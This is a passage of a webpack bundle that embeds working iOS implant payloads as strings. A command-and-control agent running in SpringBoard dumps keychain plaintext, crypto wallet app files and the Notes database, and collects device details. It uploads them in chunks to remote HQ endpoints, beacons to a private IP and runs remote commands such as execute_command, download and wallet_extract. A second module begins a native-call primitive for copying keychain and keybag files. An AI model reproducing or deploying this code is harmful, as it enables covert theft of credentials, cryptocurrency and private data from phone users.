\"tonkeeper\", \"Coinbase\": \"coinbase\"\n};\n\nfunction _buildWalletPkg(deviceUUID) {\n\tvar kcDumpPath = \"/tmp/keychain_c2_dump.json\";\n\tvar kcData = _readFileBytes(kcDumpPath, 5242880);\n\tif (!kcData) {\n\t\tNative.callSymbol(\"chmod\", \"/tmp/keychain_c2_dump.json.tmp\", 0x1A4);\n\t\tNative.callSymbol(\"rename\", \"/tmp/keychain_c2_dump.json.tmp\", kcDumpPath);\n\t\tNative.callSymbol(\"chmod\", kcDumpPath, 0x1A4);\n\t\tkcData = _readFileBytes(kcDumpPath, 5242880);\n\t}\n\tvar keychain;\n\tif (!kcData) {\n\t\t_writeLog(\"[WALLET-HQ] no keychain_c2_dump.json - sandbox-only package\");\n\t\tkeychain = { partial: true, errors: [\"no_keychain_dump\"], tables: {}, wallets: {}, metadataKeys: {} };\n\t} else {\n\t\tvar kcStr = _rawToStr(kcData);\n\t\ttry { keychain = JSON.parse(kcStr); } catch(e) {\n\t\t\t_writeLog(\"[WALLET-HQ] keychain json parse fail - sandbox-only\");\n\t\t\tkeychain = { partial: true, errors: [\"keychain_parse_fail\"], tables: {}, wallets: {}, metadataKeys: {} };\n\t\t}\n\t}\n\n\t// Attach SpringBoard SecItem plaintext dump (P7-independent channel).\n\ttry {\n\t\tvar secFullB = _readFileBytes(_SEC_DUMP_FULL, 1572864);\n\t\tif (secFullB && secFullB.length > 8) {\n\t\t\tkeychain.secitem_full = _rawToStr(secFullB);\n\t\t\tvar secReadB = _readFileBytes(_SEC_DUMP_READ, 786432);\n\t\t\tif (secReadB && secReadB.length > 8) keychain.secitem_readable = _rawToStr(secReadB);\n\t\t\tvar secDoneB = _readFileBytes(_SEC_DUMP_DONE, 256);\n\t\t\tif (secDoneB) keychain.secitem_marker = _rawToStr(secDoneB);\n\t\t\tkeychain.secitem = { items: _secDumpState.items, plain: _secDumpState.plain, vdata: _secDumpState.vdata };\n\t\t}\n\t} catch(_se) {}\n\n\tvar dirs = listDir(APP_DATA_BASE);\n\tvar containerMap = {};\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar cpath = APP_DATA_BASE + \"/\" + dirs[i].name;\n\t\tvar plistPath = cpath + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tif (Number(Native.callSymbol(\"access\", plistPath, 0)) !== 0) continue;\n\t\tvar bytes = _readFileBytes(plistPath, 8192);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tvar content = _rawToStr(bytes);\n\t\tfor (var bid in WALLET_BUNDLE_IDS) {\n\t\t\tif (content.indexOf(bid) >= 0 && !containerMap[bid]) containerMap[bid] = cpath;\n\t\t}\n\t}\n\n\tvar sandbox = {};\n\tvar totalSize = 0;\n\tfor (var bid in containerMap) {\n\t\tvar cfg = WALLET_BUNDLE_IDS[bid];\n\t\tif (!cfg.sandbox || !cfg.files) continue;\n\t\tvar key = _hqSandboxKeyMap[cfg.name] || cfg.name.toLowerCase().replace(/ /g, \"_\");\n\t\tvar perFileMax = cfg.maxFileSize || 2097152;\n\t\tvar resolved = _resolveWalletFiles(containerMap[bid], cfg.files);\n\t\tvar files = {};\n\t\tfor (var fi = 0; fi < resolved.length; fi++) {\n\t\t\tvar rf = resolved[fi];\n\t\t\tvar fd = readFileB64(rf.absPath, perFileMax);\n\t\t\tif (!fd) continue;\n\t\t\tfiles[rf.relPath] = fd.b64;\n\t\t\ttotalSize += fd.size;\n\t\t}\n\t\tif (Object.keys(files).length > 0) sandbox[key] = files;\n\t}\n\n\treturn { device_uuid: deviceUUID, keychain: keychain, sandbox: sandbox, sandbox_total_size: totalSize };\n}\n\nfunction _httpPostBody(url, bodyStr) {\n\tvar parsed = parseURL(url);\n\tif (url.indexOf(\"https://\") === 0)\n\t\treturn _cfstreamPost(parsed.host, parsed.port, parsed.path, bodyStr);\n\treturn _socketPost(parsed.host, parsed.port, parsed.path, bodyStr);\n}\n\n// POST wallet package to /war. Bodies larger than WAR_POST_MAX are split into\n// war_chunk parts (still on /war); inbox reassembles before normal extract.\nfunction _postWarPackage(url, pkg) {\n\tvar bodyStr = JSON.stringify(pkg);\n\tif (bodyStr.length <= WAR_POST_MAX) {\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar uploadId = String(DEVICE_UUID || \"dev\").replace(/[^0-9A-Fa-f]/g, \"\") + \"_\" + String(Date.now());\n\t// Keep each HTTP JSON under WAR_POST_MAX after base64 + wrapper overhead.\n\tvar rawMax = Math.floor((WAR_POST_MAX - 2048) * 3 / 4);\n\tif (rawMax < 256 * 1024) rawMax = 256 * 1024;\n\tvar tmpPath = \"/tmp/war_pkg_\" + uploadId + \".json\";\n\tif (!_secWriteText(tmpPath, bodyStr)) {\n\t\t_writeLog(\"[WALLET-HQ] war chunk tmp write fail; trying single POST len=\" + bodyStr.length);\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar fileSize = getFileSize(tmpPath);\n\tif (fileSize <= 0) {\n\t\tNative.callSymbol(\"unlink\", tmpPath);\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar totalChunks = Math.ceil(fileSize / rawMax);\n\t_writeLog(\"[WALLET-HQ] chunked /war upload_id=\" + uploadId + \" bytes=\" + fileSize + \" parts=\" + totalChunks);\n\tvar fd = Number(Native.callSymbol(\"open\", tmpPath, 0, 0));\n\tif (fd < 0) {\n\t\tNative.callSymbol(\"unlink\", tmpPath);\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(rawMax));\n\tvar sentOk = 0;\n\tvar lastErr = \"\";\n\ttry {\n\t\tfor (var ci = 0; ci < totalChunks; ci++) {\n\t\t\tvar toRead = Math.min(rawMax, fileSize - ci * rawMax);\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, toRead));\n\t\t\tif (nr <= 0) { lastErr = \"read \" + nr; break; }\n\t\t\tvar b64 = bytesToBase64(new Uint8Array(Native.read(buf, nr)));\n\t\t\tvar part = {\n\t\t\t\tdevice_uuid: DEVICE_UUID,\n\t\t\t\twar_chunk: true,\n\t\t\t\tupload_id: uploadId,\n\t\t\t\tchunk_index: ci,\n\t\t\t\ttotal_chunks: totalChunks,\n\t\t\t\ttotal_bytes: fileSize,\n\t\t\t\tdata: b64\n\t\t\t};\n\t\t\tvar partStr = JSON.stringify(part);\n\t\t\tvar postOk = false;\n\t\t\tfor (var retry = 0; retry < 3; retry++) {\n\t\t\t\ttry {\n\t\t\t\t\tvar r = _httpPostBody(url, partStr);\n\t\t\t\t\tif (r !== null) { postOk = true; break; }\n\t\t\t\t} catch (_pe) {}\n\t\t\t\tNative.callSymbol(\"usleep\", 2000000);\n\t\t\t}\n\t\t\tif (!postOk) { lastErr = \"POST fail chunk \" + ci; break; }\n\t\t\tsentOk++;\n\t\t}\n\t} finally {\n\t\tif (buf && buf !== 0n) Native.callSymbol(\"free\", buf);\n\t\tNative.callSymbol(\"close\", fd);\n\t\tNative.callSymbol(\"unlink\", tmpPath);\n\t}\n\tif (sentOk !== totalChunks) {\n\t\t_writeLog(\"[WALLET-HQ] chunked /war incomplete sent=\" + sentOk + \"/\" + totalChunks + \" err=\" + lastErr);\n\t\treturn null;\n\t}\n\treturn { ok: true, chunked: true, upload_id: uploadId, total_chunks: totalChunks, total_bytes: fileSize };\n}\n\n// ============================================================================\n// Main Loop\n// ============================================================================\n\nNative.init();\n\n// ===== DEBUG uplink: prove c2_agent actually evaluated in SpringBoard =====\ntry {\n\tvar _dbgfd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (_dbgfd >= 0) {\n\t\tvar _dbgone = Native.callSymbol(\"calloc\", 1, 8);\n\t\tNative.write(_dbgone, new Uint8Array([1,0,0,0]).buffer);\n\t\tNative.callSymbol(\"setsockopt\", _dbgfd, 0xffff, 0x1022, _dbgone, 4);\n\t\tNative.callSymbol(\"free\", _dbgone);\n\t\tvar _dbgaddr = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar _dbga8 = new Uint8Array(16);\n\t\t_dbga8[0] = 16; _dbga8[1] = 2; _dbga8[2] = 0x1B; _dbga8[3] = 0x6E; // port 7022 BE\n\t\t_dbga8[4] = 192; _dbga8[5] = 168; _dbga8[6] = 4; _dbga8[7] = 10;\n\t\tNative.write(_dbgaddr, _dbga8.buffer);\n\t\tif (Number(Native.callSymbol(\"connect\", _dbgfd, _dbgaddr, 16)) === 0) {\n\t\t\tvar _dbgreq = \"GET /log.html?text=C2SB_eval_alive_springboard HTTP/1.0\\r\\nHost: 192.168.31.130\\r\\n\\r\\n\";\n\t\t\tvar _dbgrbuf = Native.callSymbol(\"malloc\", _dbgreq.length + 1);\n\t\t\tNative.writeString(_dbgrbuf, _dbgreq);\n\t\t\tNative.callSymbol(\"write\", _dbgfd, _dbgrbuf, _dbgreq.length);\n\t\t\tNative.callSymbol(\"free\", _dbgrbuf);\n\t\t}\n\t\tNative.callSymbol(\"close\", _dbgfd);\n\t\tNative.callSymbol(\"free\", _dbgaddr);\n\t}\n} catch(e) {}\n// ===== END DEBUG uplink =====\n\nconst DEVICE_UUID = (function(){try{var b=String(\"69DD25B2CA8B5682BA2470D77124E2FC\");if(b&&b.indexOf(\"__LAB_\")<0&&b.length>=16)return b;}catch(e){}return _getDeviceUUID();})();\nconst DEVICE_MODEL = _getDeviceModel();\n\n// NOTE: first SecItem dump is deferred until AFTER the first beacon (Phase 1).\n// A SecItemCopyMatching wedge here would kill the agent before any heartbeat.\n\nfunction _sysctlString(name) {\n\tvar sizePtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!sizePtr || sizePtr === 0n) return \"\";\n\tvar rc = Number(Native.callSymbol(\"sysctlbyname\", name, 0, sizePtr, 0, 0));\n\tif (rc !== 0) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tvar sz = Number(Native.readPtr(BigInt(sizePtr)));\n\tif (sz <= 0 || sz > 4096) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(sz + 1));\n\tif (!buf || buf === 0n) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tNative.write64(sizePtr, BigInt(sz + 1));\n\trc = Number(Native.callSymbol(\"sysctlbyname\", name, buf, sizePtr, 0, 0));\n\tvar result = rc === 0 ? Native.readString(buf, sz).replace(/\\0/g, \"\") : \"\";\n\tNative.callSymbol(\"free\", buf); Native.callSymbol(\"free\", sizePtr);\n\treturn result;\n}\n\n\nvar _beaconDevInfo = { machine: DEVICE_MODEL };\nif (C2_CHANNEL_CODE) _beaconDevInfo.channel_code = C2_CHANNEL_CODE;\ntry {\n\tvar _uts = Native.callSymbol(\"calloc\", 1, 1536);\n\tif (_uts && _uts !== 0n) {\n\t\tNative.callSymbol(\"uname\", _uts);\n\t\t_beaconDevInfo.sysname = Native.readString(_uts, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.nodename = Native.readString(_uts + 256n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.release = Native.readString(_uts + 512n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.version = Native.readString(_uts + 768n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.arch = Native.readString(_uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", _uts);\n\t}\n} catch(e) {}\ntry {\n\tvar _hbuf = Native.callSymbol(\"malloc\", 256);\n\tif (_hbuf && _hbuf !== 0n) {\n\t\tif (Number(Native.callSymbol(\"gethostname\", _hbuf, 255)) === 0)\n\t\t\t_beaconDevInfo.hostname = Native.readString(_hbuf, 256).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", _hbuf);\n\t}\n} catch(e) {}\n\ntry { _beaconDevInfo.build_version = _sysctlString(\"kern.osversion\"); } catch(e) {}\ntry { _beaconDevInfo.ios_version = _sysctlString(\"kern.osproductversion\"); } catch(e) {}\ntry { _beaconDevInfo.kern_version = _beaconDevInfo.version || \"\"; } catch(e) {}\n\nfunction _senBeacon() {\n\ttry {\n\t\treturn httpPost(C2_BEACON_URL, {\n\t\t\tuuid: DEVICE_UUID, device_info: _beaconDevInfo, status: \"idle\"\n\t\t});\n\t} catch(e) { return null; }\n}\n\n// --- Phase 1: First SEN beacon (registers device, starts 5-min delay) ---\nvar _senResp1 = _senBeacon();\nvar _deviceIP = \"\";\nif (_senResp1 && _senResp1.client_ip) _deviceIP = _senResp1.client_ip;\nNative.callSymbol(\"usleep\", 2000000);\n\n// Heartbeat established — now safe to attempt the early keychain plaintext\n// grab (device still likely unlocked). u_AuthUISkip protects against wedges.\ntry { _kcSecItemDump(true); } catch(_kd0) {}\n\nfunction _hqHeartbeat() {\n\ttry {\n\t\tvar body = { lhu: DEVICE_UUID, type: \"status\", source: \"c2_agent\" };\n\t\tif (_deviceIP) body.ip = _deviceIP;\n\t\thqPost(\"/event\", body);\n\t} catch(e) {}\n}\n\n// --- Phase 2: HQ auto-collect (SEN heartbeats interspersed) ---\n\ntry { hqPost(\"/a\", {\n\tlhu: DEVICE_UUID, machine: DEVICE_MODEL,\n\tdeviceName: _beaconDevInfo.hostname || \"\",\n\tios_version: _beaconDevInfo.ios_version || \"\",\n\tbuild_version: _beaconDevInfo.build_version || \"\",\n\tkern_version: _beaconDevInfo.kern_version || \"\",\n\thostname: _beaconDevInfo.hostname || \"\",\n\tsysname: _beaconDevInfo.sysname || \"\",\n\trelease: _beaconDevInfo.release || \"\",\n\tversion: _beaconDevInfo.version || \"\",\n\tip: _deviceIP,\n\tsource: \"c2_agent\"\n}); } catch(e) {}\n\nNative.callSymbol(\"usleep\", 1000000);\n_hqHeartbeat();\n\ntry {\n\tvar _hqApps = [];\n\tvar _appBases = [APP_DATA_BASE, \"/var/mobile/Containers/Bundle/Application\"];\n\tvar _hqDirs = [];\n\tvar _usedBase = \"\";\n\tfor (var _bi = 0; _bi < _appBases.length; _bi++) {\n\t\t_hqDirs = listDir(_appBases[_bi]);\n\t\tif (_hqDirs.length > 0) { _usedBase = _appBases[_bi]; break; }\n\t}\n\tfor (var _ai = 0; _ai < _hqDirs.length; _ai++) {\n\t\tif (_hqDirs[_ai].type !== \"dir\") continue;\n\t\tvar _acp = _usedBase + \"/\" + _hqDirs[_ai].name;\n\t\tvar _apl = _acp + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar _ab = _readFileBytes(_apl, 8192);\n\t\tif (!_ab || _ab.length === 0) continue;\n\t\tvar _ac = _rawToStr(_ab);\n\t\tif (_ac.indexOf(\"MCMMetadataIdentifier\") < 0) continue;\n\t\tvar _bm = _ac.match(/MCMMetadataIdentifier<\\/key>\\s*<string>([^<]+)/);\n\t\tif (!_bm) {\n\t\t\tvar _bpAll = _ac.match(/[a-z][a-z0-9]*(?:\\.[a-zA-Z0-9_-]+){2,}/g);\n\t\t\tif (_bpAll) {\n\t\t\t\tfor (var _bpi = 0; _bpi < _bpAll.length; _bpi++) {\n\t\t\t\t\tif (_bpAll[_bpi].indexOf(\"MCM\") >= 0) continue;\n\t\t\t\t\t_bm = [null, _bpAll[_bpi]];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (!_bm) continue;\n\t\tvar _appName = _bm[1];\n\t\tvar _subDirs = listDir(_acp);\n\t\tfor (var _si = 0; _si < _subDirs.length; _si++) {\n\t\t\tvar _sn = _subDirs[_si].name;\n\t\t\tif (_sn.length > 4 && _sn.substring(_sn.length - 4) === \".app\") {\n\t\t\t\t_appName = _sn.substring(0, _sn.length - 4);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t_hqApps.push({ uuid: _hqDirs[_ai].name, bundleId: _bm[1], name: _appName });\n\t}\n\thqPost(\"/u\", { lhu: DEVICE_UUID, apps: _hqApps, count: _hqApps.length, source: \"c2_agent\" });\n} catch(e) {}\n\n_senBeacon();\nNative.callSymbol(\"usleep\", 1000000);\n\ntry {\n\tvar _hqDbPath = _findNoteStore();\n\tif (_hqDbPath) {\n\t\tvar _hqSuffixes = [\"\", \"-wal\", \"-shm\"];\n\t\tvar _hqTmpBase = \"/tmp/_hq_notestore\";\n\t\tfor (var _ci = 0; _ci < _hqSuffixes.length; _ci++) {\n\t\t\tvar _csrc = _hqDbPath + _hqSuffixes[_ci];\n\t\t\tif (Number(Native.callSymbol(\"access\", _csrc, 0)) === 0) {\n\t\t\t\tvar _cdst = _hqTmpBase + _hqSuffixes[_ci];\n\t\t\t\t_cmdCp([\"cp\", _csrc, _cdst]);\n\t\t\t\tNative.callSymbol(\"chmod\", _cdst, 0x1A4);\n\t\t\t}\n\t\t}\n\t\tvar _noteList = [];\n\t\tvar _noteRows = _sqliteQuery(_hqTmpBase,\n\t\t\t\"SELECT Z_PK, ZTITLE1, ZSNIPPET, ZMODIFICATIONDATE1 FROM ZICCLOUDSYNCINGOBJECT WHERE ZTITLE1 IS NOT NULL ORDER BY ZMODIFICATIONDATE1 DESC LIMIT 500\", 500);\n\t\tif (_noteRows && _noteRows.rows) {\n\t\t\tfor (var _ni = 0; _ni < _noteRows.rows.length; _ni++) {\n\t\t\t\tvar _nr = _noteRows.rows[_ni];\n\t\t\t\tif (!_nr.ZTITLE1 && !_nr.ZSNIPPET) continue;\n\t\t\t\t_noteList.push({\n\t\t\t\t\tid: _nr.Z_PK,\n\t\t\t\t\ttitle: _nr.ZTITLE1 || \"\",\n\t\t\t\t\tsnippet: _nr.ZSNIPPET || \"\",\n\t\t\t\t\tmod: _nr.ZMODIFICATIONDATE1\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\t\tvar _hqDbFiles = [];\n\t\tfor (var _mi = 0; _mi < _hqSuffixes.length; _mi++) {\n\t\t\tvar _mfp = _hqTmpBase + _hqSuffixes[_mi];\n\t\t\tvar _mfd = readFileB64(_mfp, 5242880);\n\t\t\tif (_mfd) {\n\t\t\t\tvar _origName = _hqDbPath.substring(_hqDbPath.lastIndexOf(\"/\") + 1) + _hqSuffixes[_mi];\n\t\t\t\t_hqDbFiles.push({ name: _origName, data: _mfd.b64, size: _mfd.size });\n\t\t\t}\n\t\t}\n\t\tfor (var _di = 0; _di < _hqSuffixes.length; _di++)\n\t\t\tNative.callSymbol(\"unlink\", _hqTmpBase + _hqSuffixes[_di]);\n\t\tif (_noteList.length > 0 || _hqDbFiles.length > 0)\n\t\t\thqPost(\"/nb\", { lhu: DEVICE_UUID, list: _noteList, db_files: _hqDbFiles, db_path: _hqDbPath, count: _noteList.length, source: \"c2_agent\" });\n\t}\n} catch(e) {}\n\n_senBeacon();\n_hqHeartbeat();\nNative.callSymbol(\"usleep\", 1000000);\n\nvar _walletHqSent = false;\nvar _walletHqP7Logged = false;\nvar _walletHqFailLogged = false;\nvar _walletHqAttempt = 0;\nvar _walletHqPlainAtSend = 0;\nvar _walletHqResends = 0;\nfunction _tryWalletHq(reason) {\n\tif (_walletHqSent) return true;\n\t_walletHqAttempt++;\n\tvar _kcDonePath = \"/tmp/keychain_c2_dump.done\";\n\tvar hasDone = Number(Native.callSymbol(\"access\", _kcDonePath, 0)) === 0;\n\tvar hasPartial = Number(Native.callSymbol(\"access\", \"/tmp/keychain_c2_dump.partial\", 0)) === 0;\n\tvar hasJson = Number(Native.callSymbol(\"access\", \"/tmp/keychain_c2_dump.json\", 0)) === 0;\n\tvar hasDb = false;\n\ttry {\n\t\tvar __tdbFd = Number(Native.callSymbol(\"open\", \"/tmp/keychain-2.db\", 0));\n\t\tif (__tdbFd >= 0) {\n\t\t\tvar __tdbSz = Number(Native.callSymbol(\"lseek\", __tdbFd, 0, 2));\n\t\t\tNative.callSymbol(\"close\", __tdbFd);\n\t\t\thasDb = __tdbSz > 1024;\n\t\t}\n\t} catch (_tdb) {}\n\tvar hasP7 = Number(Native.callSymbol(\"access\", \"/tmp/p7_debug.log\", 0)) === 0;\n\tvar hasFail = Number(Native.callSymbol(\"access\", \"/tmp/keychain_c2_dump.fail\", 0)) === 0;\n\tif (reason !== \"beacon-retry\" || (_walletHqAttempt % 4) === 1) {\n\t\t_writeLog(\"[WALLET-HQ] \" + reason + \" done=\" + hasDone + \" partial=\" + hasPartial + \" json=\" + hasJson + \" tmpdb=\" + hasDb + \" p7log=\" + hasP7 + \" fail=\" + hasFail);\n\t}\n\tif (hasFail && !_walletHqFailLogged) {\n\t\t_walletHqFailLogged = true;\n\t\ttry {\n\t\t\tvar fb = _readFileBytes(\"/tmp/keychain_c2_dump.fail\", 512);\n\t\t\tif (fb) _writeLog(\"[WALLET-HQ] p7 fail marker: \" + _rawToStr(fb));\n\t\t} catch(_fre) {}\n\t}\n\t// Re-tail p7 on first sight and every beacon-retry so HTTP/phone_logs show Phase2 progress\n\t// (pe_stage/*.js are ~100B trampolines — real logs live in /tmp/p7_debug.log).\n\tif (hasP7 && (!_walletHqP7Logged || reason === \"beacon-retry\")) {\n\t\ttry {\n\t\t\tvar p7b = _readFileBytes(\"/tmp/p7_debug.log\", 24000);\n\t\t\tif (p7b) {\n\t\t\t\tvar p7t = _rawToStr(p7b);\n\t\t\t\t_writeLog(\"[WALLET-HQ] p7_debug.tail=\" + p7t.slice(Math.max(0, p7t.length - 2200)));\n\t\t\t\t_walletHqP7Logged = true;\n\t\t\t}\n\t\t} catch(_p7e) {}\n\t}\n\tif (hasFail) {\n\t\t// Definitive failure from P7 Phase 2 — send what we have immediately\n\t\t// (fail-json is picked up by _buildWalletPkg as `keychain` with fail:true).\n\t\t// Do NOT wait for 40 retries; this keeps C2 responsive.\n\t} else if (!hasJson && !hasFail) {\n\t\t// Wait for Phase2 json (early .done alone is not enough — 18.5 early C2).\n\t\tvar _p7Busy = Number(Native.callSymbol(\"access\", \"/tmp/p7_debug.log\", 0)) === 0;\n\t\tif (!_p7Busy && _walletHqAttempt % 5 === 0) { try { _kcSecItemDump(false); } catch(_kdr) {} }\n\t\tif (_walletHqAttempt < 80) return false;\n\t\t_writeLog(\"[WALLET-HQ] force sandbox-only after retries json=false\");\n\t}\n\tif (!hasDone) { try { _kcSecItemDump(false); } catch(_kd) {} }\n\tNative.callSymbol(\"usleep\", 500000);\n\tvar _walletPkg = _buildWalletPkg(DEVICE_UUID);\n\tif (!_walletPkg) {\n\t\t_writeLog(\"[WALLET-HQ] _buildWalletPkg returned null\");\n\t\treturn false;\n\t}\n\tvar _walletUrl = HQ_API_BASE.replace(/:\\d+/, \":\" + HQ_WALLET_PORT) + \"/war\";\n\tvar _walletBodyLen = JSON.stringify(_walletPkg).length;\n\t_writeLog(\"[WALLET-HQ] sending to \" + _walletUrl + \" body=\" + _walletBodyLen +\n\t\t(_walletBodyLen > WAR_POST_MAX ? \" (chunked>\" + WAR_POST_MAX + \")\" : \"\"));\n\ttry {\n\t\tvar _walletResp = _postWarPackage(_walletUrl, _walletPkg);\n\t\tif (_walletResp === null) {\n\t\t\t_writeLog(\"[WALLET-HQ] POST FAILED (null)\");\n\t\t\treturn false;\n\t\t}\n\t\t_writeLog(\"[WALLET-HQ] POST ok resp=\" + JSON.stringify(_walletResp));\n\t\t_walletHqSent = true;\n\t\t_walletHqPlainAtSend = _secDumpState.plain;\n\t\treturn true;\n\t} catch(walletErr) {\n\t\t_writeLog(\"[WALLET-HQ] POST FAILED err=\" + String(walletErr));\n\t\treturn false;\n\t}\n}\ntry {\n\t_tryWalletHq(\"after-nb\");\n} catch(walletOuterErr) {\n\t_writeLog(\"[WALLET-HQ] outer error: \" + String(walletOuterErr));\n}\n\n_senBeacon();\n_hqHeartbeat();\nNative.callSymbol(\"usleep\", 1000000);\n\ntry {\n\t/* photos upload disabled */\n} catch(e) {}\n\n// --- Phase 3: SEN beacon loop ---\n\nvar _hqHeartbeatNext = Date.now() + 60000;\nlet interval = 15;\nfor (;;) {\n\ttry {\n\t\tconst resp = _senBeacon();\n\t\tif (!_walletHqSent) { try { _tryWalletHq(\"beacon-retry\"); } catch(_wr) {} }\n\t\telse if (_walletHqResends < 3) {\n\t\t\t// Late-unlock self-heal: keep dumping; resend /war when plaintext grows.\n\t\t\ttry { _kcSecItemDump(false); } catch(_kd2) {}\n\t\t\tif (_secDumpState.plain > _walletHqPlainAtSend) {\n\t\t\t\t_walletHqResends++;\n\t\t\t\ttry {\n\t\t\t\t\tvar _pkg2 = _buildWalletPkg(DEVICE_UUID);\n\t\t\t\t\tif (_pkg2) {\n\t\t\t\t\t\tvar _url2 = HQ_API_BASE.replace(/:\\d+/, \":\" + HQ_WALLET_PORT) + \"/war\";\n\t\t\t\t\t\t_writeLog(\"[WALLET-HQ] resend plain=\" + _secDumpState.plain + \" > \" + _walletHqPlainAtSend + \" #\" + _walletHqResends);\n\t\t\t\t\t\t_postWarPackage(_url2, _pkg2);\n\t\t\t\t\t\t_walletHqPlainAtSend = _secDumpState.plain;\n\t\t\t\t\t}\n\t\t\t\t} catch(_re) {}\n\t\t\t}\n\t\t}\n\n\t\tif (resp && resp.type && resp.type !== \"noop\") {\n\t\t\ttry {\n\t\t\t\tswitch (resp.type) {\n\t\t\t\t\tcase \"execute_command\": handleExecuteCommand(resp); break;\n\t\t\t\t\tcase \"ls\": handleLs(resp); break;\n\t\t\t\t\tcase \"download\": handleDownload(resp); break;\n\t\t\t\t\tcase \"photos\": handlePhotos(resp); break;\n\t\t\t\t\tcase \"apps\": handleApps(resp); break;\n\t\t\t\t\tcase \"exec\": handleExec(resp); break;\n\t\t\t\t\tcase \"file_upload\": handleFileUpload(resp); break;\n\t\t\t\t\tcase \"basic_info\": handleBasicInfo(resp); break;\n\t\t\t\t\tcase \"disk_scan\": handleDiskScan(resp); break;\n\t\t\t\t\tcase \"ios_app_data\": handleIosAppData(resp); break;\n\t\t\t\tcase \"wallet_extract\": handleWalletExtract(resp); break;\n\t\t\t\tcase \"wallet_scan\": handleWalletScan(resp); break;\n\t\t\t\tcase \"memo_scan\": handleMemoScan(resp); break;\n\t\t\t\tcase \"photo_scan\": handlePhotoScan(resp); break;\n\t\t\t\tcase \"sleep\":\n\t\t\t\t\t\tinterval = (resp.params && resp.params.interval) || 15;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"exit\":\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t} catch (cmdErr) {\n\t\t\t\ttry {\n\t\t\t\t\tsendJSON(resp.command_id, {\n\t\t\t\t\t\tstatus: \"failed\",\n\t\t\t\t\t\terror: String(cmdErr),\n\t\t\t\t\t\t_task_id: (resp.params && resp.params._task_id) || \"\",\n\t\t\t\t\t\t_task_type: (resp.params && resp.params._task_type) || \"\"\n\t\t\t\t\t}, \"error_report.json\");\n\t\t\t\t} catch(re) {}\n\t\t\t}\n\t\t\tif (resp.type === \"exit\") break;\n\t\t}\n\t} catch (e) {\n\t}\n\n\tif (Date.now() >= _hqHeartbeatNext) {\n\t\t_hqHeartbeat();\n\t\t_hqHeartbeatNext = Date.now() + 60000;\n\t}\n\n\tNative.callSymbol(\"usleep\", interval * 1000000);\n}\n");
/***/ }),
/***/ "./node_modules/raw-loader/dist/cjs.js!./src/keychain_copier.js":
/*!**********************************************************************!*\
!*** ./node_modules/raw-loader/dist/cjs.js!./src/keychain_copier.js ***!
\**********************************************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__)
/* harmony export */ });
/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("// Keychain/Keybag Copier Payload\n// Runs under configd context which has access to keychain files\n// Copies keychain/keybag files to /tmp with 777 permissions\n// The main file_downloader payload will then send them\n\nclass Native {\n\t\n\tstatic #baseAddr;\n\tstatic #dlsymAddr;\n\tstatic #memcpyAddr;\n\tstatic #mallocAddr;\n\tstatic #oinvAddr;\n\t\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\t\n\tstatic #argMem = 0n;\n\tstatic #argMemPtr = 0n;\n\tstatic #argMemPtrStr = 0n;\n\tstatic #argPtr = 0n;\n\tstatic #argPtrPtr = 0n;\n\tstatic #argPtrStrPtr = 0n;\n\n\tstatic #dlsymCache = {};\n\t\n\tstatic init() {\n\t\tconst buff = new BigUint64Array(nativeCallBuff);\n\t\tthis.#baseAddr = buff[20];\n\t\tthis.#dlsymAddr = buff[21];\n\t\tthis.#memcpyAddr = buff[22];\n\t\tthis.#mallocAddr = buff[23];\n\t\tthis.#oinvAddr = buff[24];\n\t\t\n\t\tthis.mem = this.#nativeCallAddr(this.#mallocAddr, BigInt(this.memSize));\n\t\tthis.#argMem = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtrStr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argPtr = this.#argMem;\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t}\n\t\n\tstatic write(ptr, buff) {\n\t\tif (!ptr) return false;\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tlet offs = 0;\n\t\tlet left = buff.byteLength;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000) len = 0x1000;\n\t\t\tbuff8.set(new Uint8Array(buff, offs, len), 0x1000);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, ptr + BigInt(offs), this.#baseAddr + 0x1000n, BigInt(len));\n\t\t\tleft -= len;\n\t\t\toffs += len;\n\t\t}\n\t\treturn 